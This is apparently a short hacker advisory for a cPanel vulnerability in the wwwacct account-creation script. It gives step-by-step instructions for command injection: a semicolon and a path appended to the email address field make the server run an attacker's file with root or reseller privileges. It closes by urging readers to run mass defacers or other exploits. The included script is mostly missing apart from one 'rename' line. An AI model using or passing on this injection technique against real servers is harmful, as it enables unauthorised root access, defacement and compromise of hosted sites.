Vendor :

Version : ALL !!

Risk : Very high

What u can do with this bug is :

u can have a access to all the server with reseller privilege (Th3 r00t)

how it's work ?

when u want to create an account in shell what will happen ?

./script/wwwact [domainname] [username] [password] [Email address] lab lab lab

that u can run it with a web base program ! ( cpanel : doamin:2086)

example :

http://domain:2086/scripts/wwwacct [domainname] [username] [password] [Email address] lab lab lab

it means you got a access to wwwacct in the scripts folder (Th3 r00t)

so u can run other command with root access like that

./scripts/wwwactt domain password ali (at) hackerz (dot) ir [email concealed];./home/hackerz/public_html/ ( your command now is ./home/hackerz/public_html/

that u can Likewise run it on the web base program.what u need to do is just write ali (at) hackerz (dot) ir [email concealed];./home/hackerz/public_html/ in Email text box when u want to create an account.


Test it:


Step 1

Save this file in /home/user/public_html/ .




rename $old, $new;


step 2

make a text file named test.txt in your public_html directory.

path will be : /home/user/public_html/test.txt .


step 3

create an account and write ali (at) hackerz (dot) ir [email concealed];./home/user/public_html/ in E-mail Address text box

then click on the "create" button.

Yes , you can find your file in /home/root/ .



you can run your own code !(mass defacer, exploit's or everything that u want).

Enjoy it...
